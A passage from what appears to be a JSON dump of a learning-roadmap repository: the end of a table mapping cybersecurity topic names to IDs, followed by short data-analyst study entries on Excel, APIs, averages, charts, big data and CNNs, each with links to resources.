\"k6UX0BJho5arjGD2RWPgH\",\n  \"networking-knowledge:troubleshooting-tools:ipconfig\": \"u-6xuZUyOrogh1bU4cwER\",\n  \"networking-knowledge:troubleshooting-tools:netstat\": \"2M3PRbGzo14agbEPe32ww\",\n  \"networking-knowledge:troubleshooting-tools:port-scanners\": \"iJRQHzh5HXADuWpCouwxv\",\n  \"networking-knowledge:troubleshooting-tools:ping\": \"GuuY-Q6FZzfspB3wrH64r\",\n  \"networking-knowledge:troubleshooting-tools:dig\": \"D2YYv1iTRGken75sHO0Gt\",\n  \"networking-knowledge:troubleshooting-tools:arp\": \"hkO3Ga6KctKODr4gos6qX\",\n  \"networking-knowledge:troubleshooting-tools:protocol-analyzers\": \"K05mEAsjImyPge0hDtsU0\",\n  \"networking-knowledge:troubleshooting-tools:nmap\": \"xqwIEyGfdZFxk6QqbPswe\",\n  \"networking-knowledge:troubleshooting-tools:route\": \"xFuWk7M-Vctk_xb7bHbWs\",\n  \"networking-knowledge:troubleshooting-tools:tcpdump\": \"y8GaUNpaCT1Ai88wPOk6d\",\n  \"networking-knowledge:troubleshooting-tools:tracert\": \"cSz9Qx3PGwmhq3SSKYKfg\",\n  \"networking-knowledge:auth-methodologies:kerberos\": \"lG6afUOx3jSQFxbH92otL\",\n  \"networking-knowledge:auth-methodologies:ldap\": \"lV3swvD6QGLmD9iVfbKIF\",\n  \"networking-knowledge:auth-methodologies:sso\": \"xL32OqDKm6O043TYgVV1r\",\n  \"networking-knowledge:auth-methodologies:certificates\": \"WXRaVCYwuGQsjJ5wyvbea\",\n  \"networking-knowledge:auth-methodologies:local-auth\": \"vYvFuz7lAJXZ1vK_4999a\",\n  \"networking-knowledge:auth-methodologies:radius\": \"tH3RLnJseqOzRIbZMklHD\",\n  \"security-skills-and-knowledge\": \"_hYN0gEi9BL24nptEtXWU\",\n  \"security-skills-and-knowledge:common-hacking-tools\": \"rzY_QsvnC1shDTPQ-til0\",\n  \"security-skills-and-knowledge:common-exploit-frameworks\": \"Lg7mz4zeCToEzZBFxYuaU\",\n  \"security-skills-and-knowledge:defense-in-depth\": \"Rae-f9DHDZuwIwW6eRtKF\",\n  \"security-skills-and-knowledge:runbooks\": \"Ec6EairjFJLCHc7b-1xxe\",\n  \"security-skills-and-knowledge:forensics\": \"7KLGFfco-hw7a62kXtS3d\",\n  \"security-skills-and-knowledge:threat-hunting\": \"_x3BgX93N-Pt1_JK7wk0p\",\n  \"security-skills-and-knowledge:vulnerability-management\": \"lcxAXtO6LoGd85nOFnLo8\",\n  \"security-skills-and-knowledge:basics-of-reverse-engineering\": \"uoGA4T_-c-2ip_zfEUcJJ\",\n  \"security-skills-and-knowledge:penetration-rules-of-engagement\": \"NkAAQikwH-A6vrF8fWpuB\",\n  \"security-skills-and-knowledge:perimiter-dmz-segmentation\": \"PUgPgpKio4Npzs86qEXa7\",\n  \"security-skills-and-knowledge:zero-trust\": \"HavEL0u65ZxHt92TfbLzk\",\n  \"security-skills-and-knowledge:compliance-and-auditors\": \"kqT0FRLt9Ak9P8PhHldO-\",\n  \"security-skills-and-knowledge:definition-of-risk\": \"ggAja18sBUUdCfVsT0vCv\",\n  \"security-skills-and-knowledge:backups-and-resiliency\": \"9asy3STW4oTYYHcUazaRj\",\n  \"security-skills-and-knowledge:cyber-kill-chain\": \"H38Vb7xvuBJXVzgPBdRdT\",\n  \"security-skills-and-knowledge:mfa-2fa\": \"pnfVrOjDeG1uYAeqHxhJP\",\n  \"security-skills-and-knowledge:honeypots\": \"bj5YX8zhlam0yoNckL8e4\",\n  \"security-skills-and-knowledge:os-hardening\": \"_S25EOGS3P8647zLM5i-g\",\n  \"security-skills-and-knowledge:concept-of-isolation\": \"aDF7ZcOX9uR8l0W4aqhYn\",\n  \"security-skills-and-knowledge:basics-of-ids-ips\": \"FJsEBOFexbDyAj86XWBCc\",\n  \"security-skills-and-knowledge:authentication-vs-authorization\": \"WG7DdsxESm31VcLFfkVTz\",\n  \"security-skills-and-knowledge:blue-team-read-team-purple-team\": \"7tDxTcKJNAUxbHLPCnPFO\",\n  \"security-skills-and-knowledge:false-true-negative-positive\": \"XwRCZf-yHJsXVjaRfb3R4\",\n  \"security-skills-and-knowledge:threat-intel-osint\": \"wN5x5pY53B8d0yopa1z8F\",\n  \"security-skills-and-knowledge:handshakes\": \"zQx_VUS1zRmF4zCGjJD5-\",\n  \"security-skills-and-knowledge:cia-triad\": \"uz6ELaLEu9U4fHVfnQiOa\",\n  \"security-skills-and-knowledge:privilege-escalation-attacks\": \"cvI8-sxY5i8lpelW9iY_5\",\n  \"security-skills-and-knowledge:owasp-top-10\": \"fyOYVqiBqyKC4aqc6-y0q\",\n  \"security-skills-and-knowledge:malware-and-types\": \"v7CD_sHqLWbm9ibXXESIK\",\n  \"security-skills-and-knowledge:incident-response-and-discovery-tools:nmap\": \"Hoou7kWyfB2wx_yFHug_H\",\n  \"security-skills-and-knowledge:incident-response-and-discovery-tools:nslookup\": \"OUarb1oS1-PX_3OXNR0rV\",\n  \"security-skills-and-knowledge:incident-response-and-discovery-tools:dig\": \"XyaWZZ45axJMKXoWwsyFj\",\n  \"security-skills-and-knowledge:incident-response-and-discovery-tools:curl\": \"W7iQUCjODGYgE4PjC5TZI\",\n  \"security-skills-and-knowledge:incident-response-and-discovery-tools:ipconfig\": \"IXNGFF4sOFbQ_aND-ELK0\",\n  \"security-skills-and-knowledge:incident-response-and-discovery-tools:hping\": \"Cclbt4bNfkHwFwZOvJuLK\",\n  \"security-skills-and-knowledge:incident-response-and-discovery-tools:ping\": \"yfTpp-ePuDB931FnvNB-Y\",\n  \"security-skills-and-knowledge:incident-response-and-discovery-tools:arp\": \"fzdZF-nzIL69kaA7kwOCn\",\n  \"security-skills-and-knowledge:incident-response-and-discovery-tools:cat\": \"D2ptX6ja_HvFEafMIzWOy\",\n  \"security-skills-and-knowledge:incident-response-and-discovery-tools:dd\": \"9xbU_hrEOUtMm-Q09Fe6t\",\n  \"security-skills-and-knowledge:incident-response-and-discovery-tools:head\": \"VNmrb5Dm4UKUgL8JBfhnE\",\n  \"security-skills-and-knowledge:incident-response-and-discovery-tools:tail\": \"762Wf_Eh-3zq69CZZiIjR\",\n  \"security-skills-and-knowledge:incident-response-and-discovery-tools:grep\": \"Dfz-6aug0juUpMmOJLCJ9\",\n  \"security-skills-and-knowledge:incident-response-and-discovery-tools:tracert\": \"jJtS0mgCYc0wbjuXssDRO\",\n  \"security-skills-and-knowledge:incident-response-and-discovery-tools:wireshark\": \"Sm9bxKUElINHND8FdZ5f2\",\n  \"security-skills-and-knowledge:incident-response-and-discovery-tools:winhex\": \"gNan93Mg9Ym2AF3Q2gqoi\",\n  \"security-skills-and-knowledge:incident-response-and-discovery-tools:memdump\": \"wspNQPmqWRjKoFm6x_bVw\",\n  \"security-skills-and-knowledge:incident-response-and-discovery-tools:ftk-imager\": \"_jJhL1RtaqHJmlcWrd-Ak\",\n  \"security-skills-and-knowledge:incident-response-and-discovery-tools:autopsy\": \"bIwpjIoxSUZloxDuQNpMu\",\n  \"security-skills-and-knowledge:uderstand-frameworks:attck\": \"auR7fNyd77W2UA-PjXeJS\",\n  \"security-skills-and-knowledge:uderstand-frameworks:kill-chain\": \"7Bmp4x6gbvWMuVDdGRUGj\",\n  \"security-skills-and-knowledge:uderstand-frameworks:diamond-model\": \"AY-hoPGnAZSd1ExaYX8LR\",\n  \"security-skills-and-knowledge:common-standards:iso\": \"oRssaVG-K-JwlL6TAHhXw\",\n  \"security-skills-and-knowledge:common-standards:nist\": \"SOkJUTd1NUKSwYMIprv4m\",\n  \"security-skills-and-knowledge:common-standards:rmf\": \"fjEdufrZAfW4Rl6yDU8Hk\",\n  \"security-skills-and-knowledge:common-standards:cis\": \"sSihnptkoEqUsHjDpckhG\",\n  \"security-skills-and-knowledge:common-standards:csf\": \"HjfgaSEZjW9BOXy_Ixzkk\",\n  \"security-skills-and-knowledge:tools-for-unintended-purposes:lolbas\": \"10qbxX8DCrfyH7tgYexxQ\",\n  \"security-skills-and-knowledge:understand:siem\": \"c2kY3wZVFKZYxMARhLIwO\",\n  \"security-skills-and-knowledge:understand:soar\": \"i0ulrA-GJrNhIVmzdWDrn\",\n  \"security-skills-and-knowledge:common-distros-for-hacking:parrot-os\": \"zR6djXnfTSFVEfvJonQjf\",\n  \"security-skills-and-knowledge:common-distros-for-hacking:kali-linux\": \"w6wXkoLrv0_d-Ah0txUHd\",\n  \"security-skills-and-knowledge:find-and-use-logs:event-logs\": \"KbFwL--xF-eYjGy8PZdrM\",\n  \"security-skills-and-knowledge:find-and-use-logs:syslogs\": \"7oFwRkmoZom8exMDtMslX\",\n  \"security-skills-and-knowledge:find-and-use-logs:netflow\": \"xXz-SwvXA2cLfdCd-hLtW\",\n  \"security-skills-and-knowledge:find-and-use-logs:packet-captures\": \"TIxEkfBrN6EXQ3IKP1B7u\",\n  \"security-skills-and-knowledge:find-and-use-logs:firewall-logs\": \"np0PwKy-EvIa_f_LC6Eem\",\n  \"security-skills-and-knowledge:hardening-concepts:mac-based\": \"OAukNfV5T0KTnIF9jKYRF\",\n  \"security-skills-and-knowledge:hardening-concepts:nac-based\": \"6oAzYfwsHQYNVbi7c2Tly\",\n  \"security-skills-and-knowledge:hardening-concepts:port-blocking\": \"W7bcydXdwlubXF2PHKOuq\",\n  \"security-skills-and-knowledge:hardening-concepts:group-policy\": \"FxuMJmDoDkIsPFp2iocFg\",\n  \"security-skills-and-knowledge:hardening-concepts:acls\": \"8JM95sonFUhZCdaynUA_M\",\n  \"security-skills-and-knowledge:hardening-concepts:sinkholes\": \"oFgyQYL3Ws-l7B5AF-bTR\",\n  \"security-skills-and-knowledge:hardening-concepts:patching\": \"e-MDyUR3GEv-e4Qsx_5vV\",\n  \"security-skills-and-knowledge:hardening-concepts:jump-server\": \"UF3BV1sEEOrqh5ilnfM1B\",\n  \"security-skills-and-knowledge:hardening-concepts:endpoint-security\": \"LEgJtu1GZKOtoAXyOGWLE\",\n  \"security-skills-and-knowledge:cryptography:salting\": \"jqWhR6oTyX6yolUBv71VC\",\n  \"security-skills-and-knowledge:cryptography:hashing\": \"0UZmAECMnfioi-VeXcvg8\",\n  \"security-skills-and-knowledge:cryptography:key-exchange\": \"rmR6HJqEhHDgX55Xy5BAW\",\n  \"security-skills-and-knowledge:cryptography:private-vs-public-key\": \"7svh9qaaPp0Hz23yinIye\",\n  \"security-skills-and-knowledge:cryptography:pki\": \"fxyJxrf3mnFTa3wXk1MCW\",\n  \"security-skills-and-knowledge:cryptography:obfuscation\": \"kxlg6rpfqqoBfmMMg3EkJ\",\n  \"security-skills-and-knowledge:secure-vs-unsecure-protocols:ftp-vs-sftp\": \"9Z6HPHPj4escSVDWftFEx\",\n  \"security-skills-and-knowledge:secure-vs-unsecure-protocols:ssl-vs-tls\": \"6ILPXeUDDmmYRiA_gNTSr\",\n  \"security-skills-and-knowledge:secure-vs-unsecure-protocols:ipsec\": \"gNFVtBxSYP5Uw3o3tlJ0M\",\n  \"security-skills-and-knowledge:secure-vs-unsecure-protocols:dnssec\": \"LLGXONul7JfZGUahnK0AZ\",\n  \"security-skills-and-knowledge:secure-vs-unsecure-protocols:ldaps\": \"z_fDvTgKw51Uepo6eMQd9\",\n  \"security-skills-and-knowledge:secure-vs-unsecure-protocols:srtp\": \"_9lQSG6fn69Yd9rs1pQdL\",\n  \"security-skills-and-knowledge:secure-vs-unsecure-protocols:s-mime\": \"9rmDvycXFcsGOq3v-_ziD\",\n  \"security-skills-and-knowledge:understand-the-following-terms:antivirus\": \"3140n5prZYySsuBHjqGOJ\",\n  \"security-skills-and-knowledge:understand-the-following-terms:firewall-nextgen-firewall\": \"tWDo5R3KU5KOjDdtv801x\",\n  \"security-skills-and-knowledge:understand-the-following-terms:antimalware\": \"9QtY1hMJ7NKLFztYK-mHY\",\n  \"security-skills-and-knowledge:understand-the-following-terms:edr\": \"QvHWrmMzO8IvNQ234E_wf\",\n  \"security-skills-and-knowledge:understand-the-following-terms:dlp\": \"iolsTC-63d_1wzKGul-cT\",\n  \"security-skills-and-knowledge:understand-the-following-terms:hips\": \"l5EnhOCnkN-RKvgrS9ylH\",\n  \"security-skills-and-knowledge:understand-the-following-terms:nids\": \"LIPtxl_oKZRcbvXT4EdNf\",\n  \"security-skills-and-knowledge:understand-the-following-terms:nips\": \"7w9qj16OD4pUzq-ItdxeK\",\n  \"security-skills-and-knowledge:understand-the-following-terms:host-based-firewall\": \"jWl1VWkZn3n1G2eHq6EnX\",\n  \"security-skills-and-knowledge:understand-the-following-terms:sandboxing\": \"SLKwuLHHpC7D1FqrpPRAe\",\n  \"security-skills-and-knowledge:understand-the-following-terms:acl\": \"35oCRzhzpVfitQPL4K9KC\",\n  \"security-skills-and-knowledge:understand-the-following-terms:eap-vs-peap\": \"1jwtExZzR9ABKvD_S9zFG\",\n  \"security-skills-and-knowledge:understand-the-following-terms:wpa-vs-wpa2-vs-wpa3-vs-wep\": \"MBnDE0VyVh2u2p-r90jVk\",\n  \"security-skills-and-knowledge:understand-the-following-terms:wps\": \"HSCGbM2-aTnJWUX6jGaDP\",\n  \"security-skills-and-knowledge:incident-response-process:preparation\": \"w6V4JOtXKCMPAkKIQxvMg\",\n  \"security-skills-and-knowledge:incident-response-process:identification\": \"XsRoldaBXUSiGbvY1TjQd\",\n  \"security-skills-and-knowledge:incident-response-process:containment\": \"l7WnKuR2HTD4Vf9U2TxkK\",\n  \"security-skills-and-knowledge:incident-response-process:recovery\": \"vFjbZAJq8OfLb3_tsc7oT\",\n  \"security-skills-and-knowledge:incident-response-process:eradication\": \"N17xAIo7sgbB0nrIDMWju\",\n  \"security-skills-and-knowledge:incident-response-process:lessons-learned\": \"ErRol7AT02HTn3umsPD_0\",\n  \"security-skills-and-knowledge:threat-classification:zero-day\": \"zqRaMmqcLfx400kJ-h0LO\",\n  \"security-skills-and-knowledge:threat-classification:known-vs-unknown\": \"HPlPGKs7NLqmBidHJkOZg\",\n  \"security-skills-and-knowledge:threat-classification:apt\": \"l0BvDtwWoRSEjm6O0WDPy\",\n  \"security-skills-and-knowledge:understand-common-tools:virus-total\": \"rxzcAzHjzIc9lkWSw0fef\",\n  \"security-skills-and-knowledge:understand-common-tools:joe-sandbox\": \"h__KxKa0Q74_egY7GOe-L\",\n  \"security-skills-and-knowledge:understand-common-tools:any-run\": \"GZHFR43UzN0WIIxGKZOdX\",\n  \"security-skills-and-knowledge:understand-common-tools:urlvoid\": \"lFt1k1Q-NlWWqyDA3gWD1\",\n  \"security-skills-and-knowledge:understand-common-tools:urlscan\": \"lMiW2q-b72KUl-2S7M6Vb\",\n  \"security-skills-and-knowledge:understand-common-tools:whois\": \"-RnlvUltJ9IDtH0HEnMbN\",\n  \"security-skills-and-knowledge:attack-types:phishing-vishing-whaling-smishing\": \"7obusm5UtHwWMcMMEB3lt\",\n  \"security-skills-and-knowledge:attack-types:spam-vs-spim\": \"cbEMUyg_btIPjdx-XqIM5\",\n  \"security-skills-and-knowledge:attack-types:shoulder-surfing\": \"FD0bkmxNpPXiUB_NevEUf\",\n  \"security-skills-and-knowledge:attack-types:dumpster-diving\": \"Iu0Qtk13RjrhHpSlm0uyh\",\n  \"security-skills-and-knowledge:attack-types:tailgating\": \"o-keJgF9hmifQ_hUD91iN\",\n  \"security-skills-and-knowledge:attack-types:zero-day\": \"v9njgIxZyabJZ5iND3JGc\",\n  \"security-skills-and-knowledge:attack-types:social-engineering\": \"O1VceThdxRlgQ6DcGyY7Y\",\n  \"security-skills-and-knowledge:attack-types:reconnaissance\": \"UU_inxa8Y2lLP2BRhdLDT\",\n  \"security-skills-and-knowledge:attack-types:impersonation\": \"ZEgxmvjWPp5NofLFz_FTJ\",\n  \"security-skills-and-knowledge:attack-types:watering-hole-attack\": \"dcvuKHq0nHgHLcLwtl4IJ\",\n  \"security-skills-and-knowledge:attack-types:drive-by-attack\": \"cO70zHvHgBAH29khF-hBW\",\n  \"security-skills-and-knowledge:attack-types:typo-squatting\": \"0LeDwj_tMaXjQBBOUJ5CL\",\n  \"security-skills-and-knowledge:attack-types:brute-force-vs-password-spray\": \"Q0i-plPQkb_NIvOQBVaDd\",\n  \"security-skills-and-knowledge:common-network-based-attacks:dos-vs-ddos\": \"IF5H0ZJ72XnqXti3jRWYF\",\n  \"security-skills-and-knowledge:common-network-based-attacks:mitm\": \"ODlVT6MhV-RVUbRMG0mHi\",\n  \"security-skills-and-knowledge:common-network-based-attacks:evil-twin\": \"O1fY2n40yjZtJUEeoItKr\",\n  \"security-skills-and-knowledge:common-network-based-attacks:dns-poisoning\": \"urtsyYWViEzbqYLoNfQAh\",\n  \"security-skills-and-knowledge:common-network-based-attacks:spoofing\": \"LteSouUtAj3JWWOzcjQPl\",\n  \"security-skills-and-knowledge:common-network-based-attacks:deauth-attack\": \"LfWJJaT3fv0p6fUeS8b84\",\n  \"security-skills-and-knowledge:common-network-based-attacks:vlan-hopping\": \"u4hySof6if5hiONSaW-Uf\",\n  \"security-skills-and-knowledge:common-network-based-attacks:rogue-access-point\": \"Ee7LfbhwJbiWjJ3b_bbni\",\n  \"security-skills-and-knowledge:other-attacks:buffer-overflow\": \"n8ZOZxNhlnw7DpzoXe_f_\",\n  \"security-skills-and-knowledge:other-attacks:memory-leak\": \"nOND14t7ISgSH3zNpV3F8\",\n  \"security-skills-and-knowledge:other-attacks:xss\": \"2jo1r9O_rCnDwRv1_4Wo-\",\n  \"security-skills-and-knowledge:other-attacks:sql-injection\": \"P-Am25WJV8cFd_KsX7cdj\",\n  \"security-skills-and-knowledge:other-attacks:csrf\": \"pK2iRArULlK-B3iSVo4-n\",\n  \"security-skills-and-knowledge:other-attacks:replay-attack\": \"mIX8PsIGuwgPCGQZ6ok2H\",\n  \"security-skills-and-knowledge:other-attacks:pass-the-hash\": \"sMuKqf27y4iG0GrCdF5DN\",\n  \"security-skills-and-knowledge:other-attacks:directory-traversal\": \"L0ROYh2DNlkybNDO2ezJY\",\n  \"cloud-skills-and-knowledge\": \"vVaBQ5VtsE_ZeXbCOF8ux\",\n  \"cloud-skills-and-knowledge:security-concept-in-the-cloud\": \"ThLsXkqLw--uddHz0spCH\",\n  \"cloud-skills-and-knowledge:cloud-vs-onpremises\": \"KGjYM4Onr5GQf1Yv9IabI\",\n  \"cloud-skills-and-knowledge:infra-as-code\": \"RJctUpvlUJGAdwBNtDSXw\",\n  \"cloud-skills-and-knowledge:concept-of-serverless\": \"-83ltMEl3le3yD68OFnTM\",\n  \"cloud-skills-and-knowledge:cloud-deployment-flow\": \"XL3FVeGFDhAl_gSol6Tjt\",\n  \"cloud-skills-and-knowledge:cloud-services:saas\": \"sVw5KVNxPEatBRKb2ZbS_\",\n  \"cloud-skills-and-knowledge:cloud-services:paas\": \"PQ_np6O-4PK2V-r5lywQg\",\n  \"cloud-skills-and-knowledge:cloud-services:iaas\": \"1nPifNUm-udLChIqLC_uK\",\n  \"cloud-skills-and-knowledge:common-cloud-environments:aws\": \"0LztOTc3NG3OujCVwlcVU\",\n  \"cloud-skills-and-knowledge:common-cloud-environments:gcp\": \"tOLA5QPKi6LHl1ljsOMwX\",\n  \"cloud-skills-and-knowledge:common-cloud-environments:azure\": \"GklBi7Qx1akN_cS9UMrha\",\n  \"cloud-skills-and-knowledge:cloud-models:private\": \"ecpMKP1cQXXsfKETDUrSf\",\n  \"cloud-skills-and-knowledge:cloud-models:public\": \"ZDj7KBuyZsKyEMZViMoXW\",\n  \"cloud-skills-and-knowledge:cloud-models:hybrid\": \"ywRlTuTfh5-NHnv4ZyW1t\",\n  \"cloud-skills-and-knowledge:common-cloud-storage:s3\": \"2jsTgT7k8MeaDtx6RJhOP\",\n  \"cloud-skills-and-knowledge:common-cloud-storage:dropbox\": \"9OastXVfiG1YRMm68ecnn\",\n  \"cloud-skills-and-knowledge:common-cloud-storage:box\": \"4Man3Bd-ySLFlAdxbLOHw\",\n  \"cloud-skills-and-knowledge:common-cloud-storage:one-drive\": \"MWqnhDKm9jXvDDjkeVNxm\",\n  \"cloud-skills-and-knowledge:common-cloud-storage:google-drive\": \"fTZ4PqH-AMhYA_65w4wFO\",\n  \"cloud-skills-and-knowledge:common-cloud-storage:icloud\": \"Wqy6ki13hP5c0VhGYEhHj\",\n  \"programming-knowledge\": \"_RnuQ7952N8GWZfPD60sJ\",\n  \"programming-knowledge:python\": \"XiHvGy--OkPFfJeKA6-LP\",\n  \"programming-knowledge:go\": \"jehVvdz8BnruKjqHMKu5v\",\n  \"programming-knowledge:javascript\": \"2SThr6mHpX6rpW-gmsqxG\",\n  \"programming-knowledge:cpp\": \"8jj9hpe9jQIgCc8Txyw3O\",\n  \"programming-knowledge:bash\": \"tao0Bb_JR0Ubl62HO8plp\",\n  \"programming-knowledge:power-shell\": \"paY9x2VJA98FNGBFGRXp2\"\n}"
  },
  {
    "path": "src/data/roadmaps/data-analyst/content/analysis--reporting-with-excel@sgXIjVTbwdwdYoaxN3XBM.md",
    "content": "# Excel\n\nExcel is a powerful tool utilized by data analysts worldwide to store, manipulate, and analyze data. It offers a vast array of features such as pivot tables, graphs and a powerful suite of formulas and functions to help sift through large sets of data. A data analyst uses Excel to perform a wide range of tasks, from simple data entry and cleaning, to more complex statistical analysis and predictive modeling. Proficiency in Excel is often a key requirement for a data analyst, as its versatility and ubiquity make it an indispensable tool in the field of data analysis.\n\nVisit the following resources to learn more:\n\n- [@course@Microsoft Excel Course](https://support.microsoft.com/en-us/office/excel-video-training-9bc05390-e94c-46af-a5b3-d7c22f6990bb)"
  },
  {
    "path": "src/data/roadmaps/data-analyst/content/apis@4DFcXSSHxg5wv0uXLIRij.md",
    "content": "# APIs and Data Collection\n\nApplication Programming Interfaces, better known as APIs, play a fundamental role in the work of data analysts, particularly in the process of data collection. APIs are sets of protocols, routines, and tools that enable different software applications to communicate with each other. In data analysis, APIs are used extensively to collect, exchange, and manipulate data from different sources in a secure and efficient manner. This data collection process is paramount in shaping the insights derived by the analysts.\n\nVisit the following resources to learn more:\n\n- [@article@What is an API?](https://aws.amazon.com/what-is/api/)\n- [@article@A Beginner's Guide to APIs](https://www.postman.com/what-is-an-api/)"
  },
  {
    "path": "src/data/roadmaps/data-analyst/content/average@FDYunL9KJkR_tHEcUV2iC.md",
    "content": "# Average\n\nThe average, also often referred to as the mean, is one of the most commonly used mathematical calculations in data analysis. It provides a simple, useful measure of a set of data. For a data analyst, understanding how to calculate and interpret averages is fundamental. Basic functions, including the average, are integral components in data analysis that are used to summarize and understand complex data sets. Though conceptually simple, the power of average lies in its utility in a range of analyses - from forecasting models to understanding trends and patterns in the dataset.\n\nVisit the following resources to learn more:\n\n- [@article@AVERAGE Function](https://support.microsoft.com/en-gb/office/average-function-047bac88-d466-426c-a32b-8f33eb960cf6)\n- [@article@Excel AVERAGE function](https://www.w3schools.com/excel/excel_average.php)"
  },
  {
    "path": "src/data/roadmaps/data-analyst/content/average@yn1sstYMO9du3rpfQqNs9.md",
    "content": "# Average\n\nWhen focusing on data analysis, understanding key statistical concepts is crucial. Amongst these, central tendency is a foundational element. Central Tendency refers to the measure that determines the center of a distribution. The average is a commonly used statistical tool by which data analysts discern trends and patterns. As one of the most recognized forms of central tendency, figuring out the \"average\" involves summing all values in a data set and dividing by the number of values. This provides analysts with a 'typical' value, around which the remaining data tends to cluster, facilitating better decision-making based on existing data.\n\nVisit the following resources to learn more:\n\n- [@article@How to Calculate the Average](https://support.microsoft.com/en-gb/office/calculate-the-average-of-a-group-of-numbers-e158ef61-421c-4839-8290-34d7b1e68283#:~:text=Average%20This%20is%20the%20arithmetic,by%206%2C%20which%20is%205.)\n- [@article@Average Formula](https://www.cuemath.com/average-formula/)"
  },
  {
    "path": "src/data/roadmaps/data-analyst/content/bar-charts@EVk1H-QLtTlpG7lVEenDt.md",
    "content": "# Bar Charts in Data Visualization\n\nAs a vital tool in the data analyst's arsenal, bar charts are essential for analyzing and interpreting complex data. Bar charts, otherwise known as bar graphs, are frequently used graphical displays for dealing with categorical data groups or discrete variables. With their stark visual contrast and definitive measurements, they provide a simple yet effective means of identifying trends, understanding data distribution, and making data-driven decisions. By analyzing the lengths or heights of different bars, data analysts can effectively compare categories or variables against each other and derive meaningful insights effectively. Simplicity, readability, and easy interpretation are key features that make bar charts a favorite in the world of data analytics.\n\nVisit the following resources to learn more:\n\n- [@article@A Complete Guide to Bar Charts](https://www.atlassian.com/data/charts/bar-chart-complete-guide)\n- [@video@What is a Bar Chart?](https://www.youtube.com/watch?v=WTVdncVCvKo)"
  },
  {
    "path": "src/data/roadmaps/data-analyst/content/big-data-concepts@m1IfG2sEedUxMXrv_B8GW.md",
    "content": "# Big Data Concepts\n\nBig data refers to extremely large and complex data sets that traditional data processing systems are unable to manage effectively. For data analysts, understanding the big data concepts is crucial as it helps them gain insights, make decisions, and create meaningful presentations using these data sets. The key concepts include volume, velocity, and variety - collectively known as the 3Vs. Volume refers to the amount of data, velocity is the speed at which data is processed, and variety indicates the different types of data being dealt with. Other advanced concepts include variability and veracity. These concepts provide a framework for understanding and working with big data for data analysts. With the growing importance of big data in various industries and sectors, a comprehensive grasp of these concepts equips a data analyst to more effectively and efficiently analyze and interpret complex data sets.\n\nVisit the following resources to learn more:\n\n- [@article@An Introduction to Big Data Concepts and Terminology](https://www.digitalocean.com/community/tutorials/an-introduction-to-big-data-concepts-and-terminology)\n- [@article@An Introduction to Big Data Concepts](https://www.suse.com/c/rancher_blog/an-introduction-to-big-data-concepts/)"
  },
  {
    "path": "src/data/roadmaps/data-analyst/content/big-data-technologies@_aUQZWUhFRvNu0MZ8CPit.md",
    "content": "# Big Data and Data Analyst\n\nIn the modern digitized world, Big Data refers to extremely large datasets that are challenging to manage and analyze using traditional data processing applications. These datasets often come from numerous different sources and are not only voluminous but also diverse in nature, including structured and unstructured data. The role of a data analyst in the context of big data is crucial. Data analysts are responsible for inspecting, cleaning, transforming, and modeling big data to discover useful information, conclude and support decision-making. They leverage their analytical skills and various big data tools and technologies to extract insights that can benefit the organization and drive strategic business initiatives.\n\nVisit the following resources to learn more:\n\n- [@article@Big Data Analytics](https://www.ibm.com/think/topics/big-data-analytics)"
  },
  {
    "path": "src/data/roadmaps/data-analyst/content/central-tendency@BJTVa4ur_bJB7mMtD2-hQ.md",
    "content": "# Central Tendency\n\nDescriptive analysis is a significant branch in the field of data analytics, and under this, the concept of Central Tendency plays a vital role. As data analysts, understanding central tendency is of paramount importance as it offers a quick summary of the data. It provides information about the center point around which the numerical data is distributed. The three major types of the central tendency include the Mean, Median, and Mode. These measures are used by data analysts to identify trends, make comparisons, or draw conclusions. Therefore, an understanding of central tendency equips data analysts with essential tools for interpreting and making sense of statistical data.\n\nVisit the following resources to learn more:\n\n- [@article@Measures of central tendency](https://www.abs.gov.au/statistics/understanding-statistics/statistical-terms-and-concepts/measures-central-tendency)\n- [@video@Understanding Central Tendency](https://www.youtube.com/watch?v=n_sSVhHBdj4)"
  },
  {
    "path": "src/data/roadmaps/data-analyst/content/charting@Vk3JErqxpnPY44iyfkLMl.md",
    "content": "# Charting\n\nExcel serves as a powerful tool for data analysts when it comes to data organization, manipulation, recovery, and visualization. One of the incredible features it offers is 'Charting'. Charting essentially means creating visual representations of data, which aids data analysts to easily understand complex data and showcase compelling stories of data trends, correlations, and statistical analysis. These charts vary from simple bar graphs to more complex 3D surface and stock charts. As a data analyst, mastering charting under Excel substantially enhances data interpretation, making it easier to extract meaningful insights from substantial data sets.\n\nVisit the following resources to learn more:\n\n- [@article@Create a chart from start to finish](https://support.microsoft.com/en-gb/office/create-a-chart-from-start-to-finish-0baf399e-dd61-4e18-8a73-b3fd5d5680c2)\n- [@video@Excel Charts and Graphs Tutorial](https://www.youtube.com/watch?v=eHtZrIb0oWY)"
  },
  {
    "path": "src/data/roadmaps/data-analyst/content/cleanup@nC7tViln4UyQFYP_-fyjB.md",
    "content": "# Cleanup\n\nThe Cleanup of Data is a critical component of a Data Analyst's role. It involves the process of inspecting, cleaning, transforming, and modeling data to discover useful information, inform conclusions, and support decision making. This process is crucial for Data Analysts to generate accurate and significant insights from data, ultimately resulting in better and more informed business decisions. A solid understanding of data cleanup procedures and techniques is a fundamental skill for any Data Analyst. Hence, it is necessary to hold a high emphasis on maintaining data quality by managing data integrity, accuracy, and consistency during the data cleanup process.\n\nVisit the following resources to learn more:\n\n- [@article@Top 10 Ways to Clean Your Data](https://support.microsoft.com/en-gb/office/top-ten-ways-to-clean-your-data-2844b620-677c-47a7-ac3e-c2e157d1db19)\n- [@video@Master Data Cleaning Essentials on Excel in Just 10 Minutes](https://www.youtube.com/watch?v=jxq4-KSB_OA)"
  },
  {
    "path": "src/data/roadmaps/data-analyst/content/cnns@XlCv2OirEfuBFa4ranyyE.md",
    "content": "# CNNs\n\nConvolutional Neural Networks (CNNs) form an integral part of deep learning frameworks, particularly within the realm of image processing. Data analysts with a focus on deep learning applications often turn to CNNs for their capacity to efficiently process high-dimensional data, such as images, and extract critical features relevant to the problem at hand. As a powerful tool for modeling patterns in data, CNNs are frequently employed in applications ranging from image recognition to natural language processing (NLP). Understanding CNNs, therefore, provides a robust foundation for data analysts aspiring to harness the potential of deep learning techniques.\n\nVisit the following resources to learn more:\n\n- [@article@What are convolutional neural networks?](https://www.ibm.com/topics/convolutional-neural-networks)\n- [@video@What are Convolutional Neural Networks (CNNs)?](https://www.youtube.com/watch?v=QzY57FaENXg)"
  },
  {
    "path": "src/data/roadmaps/data-analyst/content/collection@mDUSpexdq3ITV6qokwSJl.md",
